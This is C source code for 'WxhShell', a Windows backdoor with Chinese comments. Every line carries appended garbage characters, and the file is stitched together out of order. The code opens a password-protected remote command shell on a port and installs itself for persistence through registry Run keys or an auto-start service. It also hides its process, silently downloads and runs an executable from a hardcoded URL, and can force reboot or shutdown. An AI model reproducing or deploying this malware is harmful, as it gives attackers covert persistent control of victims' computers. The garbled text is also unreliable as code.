    if(Boot(SHUTDOWN)) E{ s|#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|A8AuO*?  
    else { zDyeAxh4  
    closesocket(wsh); xUi!|c  
    ExitThread(0); QJWES%m`  
    } 9Oyi:2A  
    break; ]4mj 1g&C  
    } - >I{ :#  
  // 获取shell I%919  
  case 's': { 3 ?F@jEQk  
    CmdShell(wsh); >-lL -%N_  
    closesocket(wsh); Qu FCc1Q  
    ExitThread(0); X.l"f'`l  
    break; ~q(C j"7  
  } xm5FQ) T  
  // 退出 0t?<6-3`/  
  case 'x': { K=TW}ZO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i%PHYSJ.  
    CloseIt(wsh); O^weUpe\  
    break; YO$b#  
    } @^cgq3H'  
  // 离开 [; ?{BB  
  case 'q': { 0DIM]PS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kZ-~ ;fBe  
    closesocket(wsh); ws>Iyw.u  
    WSACleanup(); }#>d2 =T$  
    exit(1); x[W]?`W3r~  
    break; -#;VFSz,9*  
        } FR^wDm$  
  } h_G|.7!  
  } S\g7wXH  
*/dh_P<Yj  
  // 提示信息 "Vp: z V<S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -!G#")<  
} 9c}]:3#XO  
  } ?>jArzI  
G>S1Ld'MV  
  return; )|R0_9CLV  
} 1vK(^u[  
`Mn{bd  
// shell模块句柄 NvHy'  
int CmdShell(SOCKET sock) s k6|_  
{ ,tF" 4|#  
STARTUPINFO si; Bj($_2M%+  
ZeroMemory(&si,sizeof(si)); u|>U`[Zpj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nQ!#G(_nO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IOZ|85u =  
PROCESS_INFORMATION ProcessInfo; :$Q]U2$mPS  
char cmdline[]="cmd"; 0*IY%=i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #u5;utY:F  
  return 0; S%s|P=u  
} "jJdUFN  
9hLmrYNM1  
// 自身启动模式 b;`#Sea  
int StartFromService(void) VE"0 VB.  
{ &R FM d=  
typedef struct oy2dA  
{ $4*E\G8  
  DWORD ExitStatus; C+]q  
  DWORD PebBaseAddress; x*"pDI0k)  
  DWORD AffinityMask; pkV\D  
  DWORD BasePriority; :mV7)oWH  
  ULONG UniqueProcessId; X`v79`g_  
  ULONG InheritedFromUniqueProcessId; FlA\Ad;v  
}   PROCESS_BASIC_INFORMATION; l)PFzIz=V  
vua1iN1  
PROCNTQSIP NtQueryInformationProcess; aco}pXz  
l^y?L4hg)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \ NSw<.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~v(M6dz~vk  
"ko?att~  
  HANDLE             hProcess; M3;v3 }z<-  
  PROCESS_BASIC_INFORMATION pbi; ? ]:EmP  
g yH7((#i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sEJ;t0.LX  
  if(NULL == hInst ) return 0; - Zoo)  
y7IbE   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (zro7gKked  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?r'TH/>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (VXx G/E3  
];{l$-$$  
  if (!NtQueryInformationProcess) return 0; O$umu_  
L!b0y7yR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )"c]FI[}  
  if(!hProcess) return 0; L1!hF3G  
a. `JS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~iR!3+yg4  
si!9Gz;  
  CloseHandle(hProcess); >7(~'#x8A"  
>&Ui*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -}qGb}F8!  
if(hProcess==NULL) return 0; bR8 HGH28  
z2nUul(2  
HMODULE hMod; ;'Vipj   
char procName[255]; 6v2RS  
unsigned long cbNeeded; 3{I=#>;  
.";tnC!e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E ^SM`  
xX&>5 "  
  CloseHandle(hProcess); SL\y\G aV  
?ZuD _L-i  
if(strstr(procName,"services")) return 1; // 以服务启动 HHIUl,P  
<j1d~XU}  
  return 0; // 注册表启动 vPl6Das r  
} WVT5VJ7*  
$6&GAJe  
// 主模块 z Jo#3  
int StartWxhshell(LPSTR lpCmdLine) e"s{_V  
{ w{zJE]7  
  SOCKET wsl; C`th^dqBV  
BOOL val=TRUE; " ,aT<lw.  
  int port=0; qp~4KukL  
  struct sockaddr_in door; Sv ~1XL W  
2c>H(t h=  
  if(wscfg.ws_autoins) Install(); X v7U<q  
JPTI6"/  
port=atoi(lpCmdLine); [cTRz*\s  
K@j^gF/0B  
if(port<=0) port=wscfg.ws_port; $G-N0LV  
WP% {{zR$  
  WSADATA data; d0}%%T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & L.PU@  
_^xh1=Qr}n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |p8"9jN@}c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {sfmWVp  
  door.sin_family = AF_INET; il>x!)?o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !.2CAL  
  door.sin_port = htons(port); uRB)g  
spSN6 .j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1y)$[e   
closesocket(wsl); |<$<L`xoe  
return 1; O2'bNR  
} B )1<`nJA  
msqxPC^I  
  if(listen(wsl,2) == INVALID_SOCKET) { _L:i=.hxN  
closesocket(wsl); ]2xx+P#Y  
return 1; 5;K-,"UQ  
} 74}eF)(me  
  Wxhshell(wsl); XEUa  
  WSACleanup(); mS w?2ba  
CNpe8M=/3  
return 0; '!yS72{$2  
{sna)v$;  
} y[^k*,= 9  
]4 K1%ZV  
// 以NT服务方式启动 .n)!ZN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) az \<sWb#  
{ S-M)MCL  
DWORD   status = 0; =mi:<q  
  DWORD   specificError = 0xfffffff; aX[1H6&=7  
x '=3&vc4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P+;CE|J`X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B.Zm$JZ:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L)R[)$2(g  
  serviceStatus.dwWin32ExitCode     = 0; ^ =/?<C4  
  serviceStatus.dwServiceSpecificExitCode = 0; 6 <qwP?WN  
  serviceStatus.dwCheckPoint       = 0; sx[&4 k[  
  serviceStatus.dwWaitHint       = 0; 22al  
;Oi[:Ck  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \&\_>X.,  
  if (hServiceStatusHandle==0) return; 20.-;jK  
i!1ho T$  
status = GetLastError(); _\4`  
  if (status!=NO_ERROR) 56bud3CVs  
{ EZ%w=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *793H\  
    serviceStatus.dwCheckPoint       = 0; ~<2 IIR$H  
    serviceStatus.dwWaitHint       = 0; hr_9;,EPh  
    serviceStatus.dwWin32ExitCode     = status; OD?y  
    serviceStatus.dwServiceSpecificExitCode = specificError; l}Q"Nb)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:5Rp_?^  
    return; uXG`6|?  
  }  ^6)GS%R  
cD'HQ3+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DD/>{kff  
  serviceStatus.dwCheckPoint       = 0; _4.]A 3;}  
  serviceStatus.dwWaitHint       = 0; Z#OhYm+y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  /i-xX*  
} WNn[L=f  
#hD}S~  
// 处理NT服务事件,比如:启动、停止 96"yNqBf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V9fGVDl;  
{ ;0w^ud  
switch(fdwControl) <fC@KY>#  
{ S' (cqO}=F  
case SERVICE_CONTROL_STOP: @)W(q5)}9"  
  serviceStatus.dwWin32ExitCode = 0; .pS&0gBo\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PcHSm/d0e  
  serviceStatus.dwCheckPoint   = 0; jb|mip@` <  
  serviceStatus.dwWaitHint     = 0; ~ Ho{p Oq  
  { kCaO\#ta  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 3W  
  } .N~PHyXZR  
  return; .>mH]/]m  
case SERVICE_CONTROL_PAUSE: KA5~">l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AW,v  
  break; V;h=8C5J  
case SERVICE_CONTROL_CONTINUE: ,:#,}w_HyO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qj~flw1:  
  break; mF[o*N*  
case SERVICE_CONTROL_INTERROGATE: lZ|L2Yg3uB  
  break; u*t,i`  
}; NJ;"jQ-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 uDerJ!  
} fm(mO%  
@4IW=V  
// 标准应用程序主函数 up\oWR:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GVmC }>z  
{ b]!9eV$  
G(U9rJ9  
// 获取操作系统版本 lLb:f6N  
OsIsNt=GetOsVer(); @s_3 0+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _GVE^yW~z  
U@Z>/ q  
  // 从命令行安装 nNt*} k  
  if(strpbrk(lpCmdLine,"iI")) Install(); yfmp$GO:  
o&(wg(Rv  
  // 下载执行文件 8YuJ8KC  
if(wscfg.ws_downexe) { D(y+1^>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  f~w>v  
  WinExec(wscfg.ws_filenam,SW_HIDE); wP[xmO-%  
} NH7`5mF$  
%KGq*|GUu  
if(!OsIsNt) { yJ!OsD  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vy-28icZ`  
HideProc(); '3A+"k-}mh  
StartWxhshell(lpCmdLine); 2O eshkE  
} K(<$.  
else Fi mN?s  
  if(StartFromService()) >_XOc  
  // 以服务方式启动 `NBbTQtgO  
  StartServiceCtrlDispatcher(DispatchTable); O0^?f/&k  
else `/#f?Hk=  
  // 普通方式启动 \|CPR6I  
  StartWxhshell(lpCmdLine); 10p8|9rE}B  
y n SBVb!)  
return 0; )uZoH 8?  
} rwiw Rh  
`E@kFJ(<On  
=M7TCE  
EXuLSzQwv  
=========================================== S_J,[#&  
aF!Ex  
b"I~_CL|  
m#tpbFAsc  
>lrhHU  
8z Y)J#  
" JPEIT  
3KSpB;HX  
#include <stdio.h> B$rTwR"(-  
#include <string.h> &5?G-mn  
#include <windows.h> PgMbMH  
#include <winsock2.h> z~,mRgc$B  
#include <winsvc.h> [ `7%sn]$  
#include <urlmon.h> 3UdU"d[75  
v:E;^$6Vn  
#pragma comment (lib, "Ws2_32.lib") iOXZ ]Xj5  
#pragma comment (lib, "urlmon.lib") i[\w%(83Fi  
r'/\HWNP  
#define MAX_USER   100 // 最大客户端连接数 Hkdf$$\  
#define BUF_SOCK   200 // sock buffer dL-i)F  
#define KEY_BUFF   255 // 输入 buffer 6^)rv-L~5y  
5F2_xH$5  
#define REBOOT     0   // 重启 i}v9ut]B  
#define SHUTDOWN   1   // 关机 W{  fZ[z  
@}Zd (o  
#define DEF_PORT   5000 // 监听端口 %}P4kEY  
H+ lX-,  
#define REG_LEN     16   // 注册表键长度 J! {Al  
#define SVC_LEN     80   // NT服务名长度 ',7a E@PJ  
F@Q^?WV  
// 从dll定义API WmeKl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *m9{V8Yi2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LN4qYp6)G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4S|=/f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k;k}qq`d  
iK#/w1`  
// wxhshell配置信息 `\bT'~P  
struct WSCFG { ldGojnS  
  int ws_port;         // 监听端口 W^es;5  
  char ws_passstr[REG_LEN]; // 口令 VPt9QL(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4:7mK/Z  
  char ws_regname[REG_LEN]; // 注册表键名 yEq#Dr  
  char ws_svcname[REG_LEN]; // 服务名 *^] ~RhjB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tzzq#z&F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ytao"R/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d|XmasGN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "xe=N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mo D?2J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v!9i"@<!  
D8%AV; -Y  
}; @Y}uZ'jt'  
7{e=="#*  
// default Wxhshell configuration qj!eLA-aD  
struct WSCFG wscfg={DEF_PORT, MPIlSMe  
    "xuhuanlingzhe", X8i(~ B  
    1, ySe$4deJ  
    "Wxhshell", ]N^*tO  
    "Wxhshell", YuQ~AE'i  
            "WxhShell Service", lwT9~Hyp  
    "Wrsky Windows CmdShell Service", D'b#,a;V  
    "Please Input Your Password: ", %T!J$a)qf  
  1, ?P/AC$:|I  
  "http://www.wrsky.com/wxhshell.exe", (CJ.BHu]  
  "Wxhshell.exe" 9@K.cdRjQ  
    }; .$&Q[r3Lu  
e4`uVq5  
// 消息定义模块 G,XPT,:%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d;7 uFh|o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m} 3gZu]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s =Umj'1k  
char *msg_ws_ext="\n\rExit."; KVPR}qTP;  
char *msg_ws_end="\n\rQuit."; wJeG(h  
char *msg_ws_boot="\n\rReboot..."; Md,pDWb  
char *msg_ws_poff="\n\rShutdown..."; S{#cD1>.  
char *msg_ws_down="\n\rSave to "; maNW{"1  
%g3,qI  
char *msg_ws_err="\n\rErr!"; DWU`\9xA*  
char *msg_ws_ok="\n\rOK!"; bc I']WgB-  
x[(?#  
char ExeFile[MAX_PATH]; \K iwUz  
int nUser = 0; H={&3poBz  
HANDLE handles[MAX_USER]; ;apzAF  
int OsIsNt; 2-'Opu  
$s\UL}Gc  
SERVICE_STATUS       serviceStatus; ;@3FF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F S"eM"z  
wW2d\Zd&  
// 函数声明 ~Rpm-^  
int Install(void); ~+G#n"Pn  
int Uninstall(void); P[ r];e  
int DownloadFile(char *sURL, SOCKET wsh); ?wb+L  
int Boot(int flag); X^@ I].  
void HideProc(void); 17|np2~  
int GetOsVer(void); pI.+"Hz  
int Wxhshell(SOCKET wsl); Sv'y e  
void TalkWithClient(void *cs); l"(6]Z 4  
int CmdShell(SOCKET sock); e`K)_>^n#  
int StartFromService(void); Zg~nlO2  
int StartWxhshell(LPSTR lpCmdLine); lFSe?X^  
p|+B3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $t~@xCi]S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ememce,Np  
l;A,0,i  
// 数据结构和表定义 p\p\q(S">  
SERVICE_TABLE_ENTRY DispatchTable[] = l?8M p$M  
{ 5J2=`=FK  
{wscfg.ws_svcname, NTServiceMain}, Ge+0-I6Ju  
{NULL, NULL} )$ Mmn  
}; B,WTHU[AV  
Oakb'  
// 自我安装 $wB^R(f@  
int Install(void) bFS>)  
{ Bux [6O %  
  char svExeFile[MAX_PATH]; d[D&J  
  HKEY key; S6d`ioi-  
  strcpy(svExeFile,ExeFile); 7nU6k%_%  
R\|lt)h  
// 如果是win9x系统,修改注册表设为自启动 n5-)/R[z  
if(!OsIsNt) { %dST6$Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ao" %WX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sh6JF574T  
  RegCloseKey(key); +pm[f["C.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I6!5Yj]O"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8eBOr9l+j  
  RegCloseKey(key); AK!hK>u`  
  return 0; }n_p$g[Nj/  
    } ;Q;[*B=kE  
  } l_tw<`Ep  
} %V`F!D<D  
else { ulFzZHJ  
wXMDh$  
// 如果是NT以上系统,安装为系统服务 $~0Q@):  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WE6a'  
if (schSCManager!=0) /iC;%r1L  
{ v1JS~uDz  
  SC_HANDLE schService = CreateService 7dG 79H  
  ( Ys+OB*8AE  
  schSCManager, H5CR'Rp  
  wscfg.ws_svcname, Kv'n:z7Md  
  wscfg.ws_svcdisp, WtulTAfN  
  SERVICE_ALL_ACCESS, l%ayI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $rF=_D6  
  SERVICE_AUTO_START, eN? Y7  
  SERVICE_ERROR_NORMAL, LVJI_O{fH  
  svExeFile, 7hW+T7u?  
  NULL, ._w8J"E5  
  NULL, :<Y}l-x  
  NULL, J_;N:7'p  
  NULL, w%AcG~`j!B  
  NULL KlV:L 4a~  
  ); C?ib_K*  
  if (schService!=0) NcOPL\  
  { o%{'UG  
  CloseServiceHandle(schService); )n49lr6 X  
  CloseServiceHandle(schSCManager); {Gq*e/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <ljI;xE  
  strcat(svExeFile,wscfg.ws_svcname); %CwL:.|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n% 'tKU\q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pi,QHb`>  
  RegCloseKey(key); A1)wo^,  
  return 0; -oeL{9;  
    } uwf 5!Z:>  
  } Hs?e0Z=N  
  CloseServiceHandle(schSCManager); h&.wo !  
} D4eTTfQ  
} tWTKgbj(  
'i;|c  
return 1; 8.' #?]a  
} ih,%i4<}6m  
ah @uUHB  
// 自我卸载 :@W.K5  
int Uninstall(void) taGU  
{ G22NQ~w8  
  HKEY key; Pq*s{  
V.ht, ~l  
if(!OsIsNt) { Zwcy4>8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Vy>O &r  
  RegDeleteValue(key,wscfg.ws_regname); 21s4MagC  
  RegCloseKey(key); UYk>'\%H0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w -Nhs6  
  RegDeleteValue(key,wscfg.ws_regname); ? J} r  
  RegCloseKey(key); !USd9  
  return 0; 8}H1_y-g[  
  } ?D,=37  
} J PyOG _h  
} 1O].v&{  
else { kGpa\c g1  
-jgysBw+Xb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +3s%E{  
if (schSCManager!=0) M(#m0x B  
{ u2oKH{/z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ikWtC]y  
  if (schService!=0) :m86 hBE.  
  { D=:04V}2+  
  if(DeleteService(schService)!=0) { !D!~ ^\  
  CloseServiceHandle(schService); hA\K</h.  
  CloseServiceHandle(schSCManager); @(P=Eh  
  return 0; !fBF|*/  
  } t8^m`W  
  CloseServiceHandle(schService); Y(cN}44  
  } 5es[Ph|K5  
  CloseServiceHandle(schSCManager); yc|VJ2R*  
} 1@u2im-O  
} k = ?h~n0M  
WI]o cF  
return 1; A:(*y 2  
} =%'`YbD$  
ZmOfEg|h\  
// 从指定url下载文件 R52I= a5,*  
int DownloadFile(char *sURL, SOCKET wsh) zF5uN:-s  
{ Oj<S.fi  
  HRESULT hr; ["\;kJ.  
char seps[]= "/"; zlR?,h-[3  
char *token; I^o!n5VM  
char *file; |ZodlYF  
char myURL[MAX_PATH]; +T9:Udi  
char myFILE[MAX_PATH]; BpX6aAx  
n|GaV  
strcpy(myURL,sURL); LZMYr  
  token=strtok(myURL,seps); hhoEb(BA  
  while(token!=NULL) Y#!h9F  
  { 4f(Kt,0  
    file=token; 6} FO[  
  token=strtok(NULL,seps); V]*b4nX7  
  } fgihy  
FU=w(< R;  
GetCurrentDirectory(MAX_PATH,myFILE); wts=[U`(  
strcat(myFILE, "\\"); uEc<}pV  
strcat(myFILE, file); - 0?^#G}3}  
  send(wsh,myFILE,strlen(myFILE),0); GUslPnG  
send(wsh,"...",3,0); JG{j)O|L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :4v3\+T  
  if(hr==S_OK) 7d92 Pe  
return 0; [{C )LDN  
else qj cp65^  
return 1; ]%Zz \Q  
NEa>\K<\  
} FKe,qTqa  
2lL,zFAq  
// 系统电源模块 '+j} >Q  
int Boot(int flag) ~ %B<  
{ v]B L[/4  
  HANDLE hToken; ; S xFp  
  TOKEN_PRIVILEGES tkp; VLBE'3Qg 1  
5k|9gICyd*  
  if(OsIsNt) { i-yy/y-N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t>8XTqqi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iAa;6mH  
    tkp.PrivilegeCount = 1; "`6n6r42  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (H+'X}1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zo>]rKeV  
if(flag==REBOOT) { A.UUW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {BHI1Uw  
  return 0; pRSOYTebP  
} t4?DpE  
else { Ts~L:3oaQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $ cj>2.   
  return 0; 4 Jx"A\5*G  
} PqM1a oyX  
  } )}9rwZ  
  else { xC C:BO`pw  
if(flag==REBOOT) { u4Em%:Xj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {mB0rKVm  
  return 0; %X9r_Hx  
} q&:=<+2"  
else { .xB u-?6s6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a1Qv@p^._b  
  return 0; d\|!Hg,  
} \c^45<G2qA  
} y^o@"IYu3  
v9T_&  
return 1; \=>H6x]q  
} ^k<o T'89  
%/updw#{B  
// win9x进程隐藏模块 OT&k.!=  
void HideProc(void) Y2'cs~~$Ce  
{ ]~Y<o  
T6ENtp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )?wJF<[_#  
  if ( hKernel != NULL ) ;2Q~0a|  
  { vX]Gf4,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ytNO*XoR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &HSq(te  
    FreeLibrary(hKernel); vzmc}y G  
  } x`6<m!d`  
]vuwkn+)  
return; _ 84ut  
} XV^1tX>f{  
H ty0qr3  
// 获取操作系统版本 A/`%/0e   
int GetOsVer(void) %\i9p]=  
{ n@G[  
  OSVERSIONINFO winfo; >ooZj9:'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "n*~Mj Ny  
  GetVersionEx(&winfo); +Jr|z\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p<:!)kt  
  return 1; 4V~?.  
  else "?mJqA  
  return 0; 2U-3Q]/I}  
} 4 {9B9={  
awz;z?~  
// 客户端句柄模块 .H,xle  
int Wxhshell(SOCKET wsl) 8zMu7,E  
{ IT$25ZF  
  SOCKET wsh; \}]!)}G  
  struct sockaddr_in client; O`vTnrY  
  DWORD myID; Zkf0p9h\  
DfKr[cqLM  
  while(nUser<MAX_USER) `7H4Y&E  
{ ^%` wJ.c  
  int nSize=sizeof(client); @_z4tUP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;,]P=Ey  
  if(wsh==INVALID_SOCKET) return 1; fNrgdfo  
NssELMtF!g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;D$)P7k6  
if(handles[nUser]==0) _2N$LLbg  
  closesocket(wsh); D1 &A,2wO  
else gJM`[x`T  
  nUser++; &d|r~NhP  
  } H@l}WihW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !fj(tPq  
ZI=v.wa  
  return 0; "U7qo}`I  
} 5YrBW:_OI  
}*L(;r)q  
// 关闭 socket <qGu7y"  
void CloseIt(SOCKET wsh) Q~T$N  
{ {P*m;a`}  
closesocket(wsh); |7zd%!  
nUser--; 3$X'Y]5a  
ExitThread(0); HbW0wuI  
} QcpXn4/*  
l<);s  
// 客户端请求句柄 \<g*8?yFs  
void TalkWithClient(void *cs) p}cw{  
{ y '!m4-  
.?l\g-;=  
  SOCKET wsh=(SOCKET)cs; :>=\.\  
  char pwd[SVC_LEN]; sM9+dh  
  char cmd[KEY_BUFF]; ^`G}gWBx}w  
char chr[1]; l]5w$dded~  
int i,j; ,N0#!<}4  
tPF.r  
  while (nUser < MAX_USER) {  z^<"x |:  
Jkek-m  
if(wscfg.ws_passstr) { pxa(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ghRVso(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z[;z>8|c  
  //ZeroMemory(pwd,KEY_BUFF); /bVoErf  
      i=0; Bi{$@n&?f  
  while(i<SVC_LEN) { 0L/n?bf  
CvD "sHVq%  
  // 设置超时 &#iTQD  
  fd_set FdRead; Q@HopiC  
  struct timeval TimeOut; eow'K 821A  
  FD_ZERO(&FdRead); )vSRHE  
  FD_SET(wsh,&FdRead); 5D'\b}*lJ}  
  TimeOut.tv_sec=8; k`N^Vdr  
  TimeOut.tv_usec=0; 5s]. @C8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9th,VnD0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r >nG@A  
gN"7be&J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Rr~1I&mR,  
  pwd=chr[0]; J Px~VnE%%  
  if(chr[0]==0xd || chr[0]==0xa) { yYfs y?3  
  pwd=0; zOiu5  
  break; :*KHx|Q  
  } %ALwz[~]  
  i++; 1{JV}O  
    } O`<KwUx !  
WILMH`  
  // 如果是非法用户,关闭 socket >=-(UA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hr)B[<9  
} aYSCw 3C<  
w Y_)y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _/tHD]um  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9c("x%nLpB  
 .P"D  
while(1) { l~$+,U&XNe  
IqoR7ajA  
  ZeroMemory(cmd,KEY_BUFF); 5wDg'X]>V  
sc,vj'r  
      // 自动支持客户端 telnet标准   )'+8}T]xQ  
  j=0; WA&!;Zq  
  while(j<KEY_BUFF) { <Pi|J-Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _+E5T*dk  
  cmd[j]=chr[0]; ilqy /fL#  
  if(chr[0]==0xa || chr[0]==0xd) { (:> ,u*x%  
  cmd[j]=0; Bn &Ws  
  break; 1bn^.768l  
  } 736Jq^T  
  j++; k5kxQhPf  
    } m+T;O/lG0{  
e-EUf  
  // 下载文件 D1=((`v '  
  if(strstr(cmd,"http://")) { mUik A9u5=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z '7  
  if(DownloadFile(cmd,wsh)) P`cq H(   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?BZPwGMs  
  else TtTj28 k7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j=r P:#  
  } }xh$T'M8  
  else { @y\X R  
i=oU;7~zK  
    switch(cmd[0]) { 5l UF7:A>#  
  %#xaA'? [  
  // 帮助 2$ze= /l  
  case '?': { 9~/J35  
